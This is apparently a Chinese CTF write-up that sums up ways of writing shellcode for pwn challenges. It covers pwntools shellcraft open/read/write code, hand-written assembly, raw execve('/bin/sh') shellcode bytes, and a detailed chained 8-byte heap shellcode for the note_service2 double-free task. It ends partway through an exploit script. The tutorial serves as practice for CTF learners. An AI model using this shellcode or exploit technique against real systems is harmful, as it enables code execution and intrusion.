shellcode编写过程总结
shellcode编写过程总结
序言: 平时做题也遇到过一些编写shellcode的题目了,最近抽空总结下类型,以及编写过程
利用工具生成或直接查找
我收集了一些工具生成纯字母数字shellcode的
比如 pwntools的 shellcraft模块
或者到exploit-db直接查找
这种题好做,利用工具生成,比如pwnable.tw 的 orw,这题就是可以直接利用工具生成的
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp', 0x30)
shellcode += shellcraft.write(1, 'esp', 0x30)
三句代码搞定,这种是限制了只能用open,read,write的
还可以手写汇编,对于unctf的orwpwn可以手写汇编,不过没必要啊,复制黏贴也是可以的
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
在比如说那种直接输入shellcode执行的,攻防世界新手区有道题目string,就是直接输入shellcode拿shell的,这种可以用shellcraft.sh()或者exploit-db查找
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
随便拿个shellcode举例吧
练习题
- 攻防世界pwn新手区的string
- 中科大比赛的shellhacker(3个类型)都是可以用工具生成解决的
- pwnable.tw的orw
- unctf的orwpwn
这些都还可以找得到题目来的,可以自行查找,我当时是手写了汇编练习,实际工具一把梭也是可以的
手写shellcode
这种题目我认为难度就比较大了,汇编基础不扎实的确实难,对我来说也是一样的,不过还是要总结下编写过程,这样以后遇到才不会慌
就从最简单的shellcode编写开始吧,难度层级如下,一层一层更难
- 攻防世界的note_service2
- pwnable.tw 的death_note
- pwnable.tw 的alive_note
note_service2
这道题又让我学了不少东西
复习了下jmp的跳转,以及机器码
0xE8 CALL 后面的四个字节是地址
0xE9 JMP 后面的四个字节是偏移
0xEB JMP 后面的二个字节是偏移
0xFF15 CALL 后面的四个字节是存放地址的地址
0xFF25 JMP 后面的四个字节是存放地址的地址
0x68 PUSH 后面的四个字节入栈
0x6A PUSH 后面的一个字节入栈
漏洞
发觉有个double free,然后8个字节不知道怎么利用,然后卡死了
看了wp后,原来这道又是出自pwnable.tw的,经过他人修改,然后出题了,考点是shellcode链的构造,也就是手写汇编能力
漏洞利用
这里查看保护发觉nx保护没开,所以想着如何写shellcode,8个字节,我也没想出怎么写shellcode,大佬们强啊,shellcode链,利用近转移,一步步跳过去,组合起来就是大shellcode了,这跟ROP类似啊,我怎么就想不到呢,在此还是先佩服下师傅们
细节点
调试部分我用edb测试了下,edb打开随便一个程序,测了下E916,发觉他会自动改成5个字节
其余指令可以用pwntools测试,asm('xor rsi,rsi',arch='amd64')
free_got - heap地址,这个相对偏移是确定的,所以可以用index这样寻址
至于为什么是E916,这个可以计算下,
短转移:
假设目前指令为:
0x1000 E9 16 00 00 00
0x1005 90
0x1006 90
.
.
.
0x101b 90
1000+16+5=101b
至于为什么这么计算,通俗点讲就是执行完这条指令才会跳转,所以执行完这条指令地址本应该为1005,所以为什么要+5,然后jmp的话,他要跳到相对于这里16处,所以就是0x101b处了
细想一下,delete(0)为什么可以执行system函数呢,因为free(0)的话,首先将参数传进去,也就是第一个堆块地址,就是存/bin/sh处,放到rdi里,后面开始执行shellcode链
编写shellcode链过程
0x00 0 0x21
0x10 0 0
0x20 0 0x21
0x30 0 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
- 建立起堆块的结构链条,如上
- 建立起sys_execve需要的寄存器rdi,rsi,rdx,rax
- rdi为/bin/sh,rsi=0,rdx=0,rax=0x3b
- xor rsi,rsi 对应字节码 0xf63148,三个字节,先将这个放进去,然后要跳转到0x30处,所以现在编写jmp语句 e9 大小,具体多少,0x30-0x10-3-5=0x18,所以是e918
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 0 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
- xor rdx,rdx 对应字节码0xd23148,三个字节,接着跳 ,一样的 e918
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
- rax=0x3b, push 0x3b,pop rax,为0x3b6a58 三个字节,还是一样的
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 00000018e9586a3b 0
0x60 0 0x21
0x70 0 0
- 最后syscall 0x050f
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 00000018e9586a3b 0
0x60 0f05 0x21
0x70 0 0
- 测试了下,不成功,因为content不为8不会退出,那就加3个nop吧凑个整数,这样少跳3个nop就行,所以最后变成
0x00 0 0x21
0x10 16e99090904831f6 0
0x20 0 0x21
0x30 16e99090904831d2 0
0x40 0 0x21
0x50 16e9909090586a3b 0
0x60 9090909090900f50 0x21
0x70 0 0
emm,测试不成功,原因是,最多接受7个...题目里限制了,所以改成2个nop
0x00 0 0x21
0x10 0016e990904831f6 0
0x20 0 0x21
0x30 0016e990904831d2 0
0x40 0 0x21
0x50 0016e99090586a3b 0
0x60 0090909090900f50 0x21
0x70 0 0
exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
local = 1
host = '111.198.29.45'
port = 49964
context.log_level = 'debug'
exe = '/tmp/tmp.sGaluM2IXs/note'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")
# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")
if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'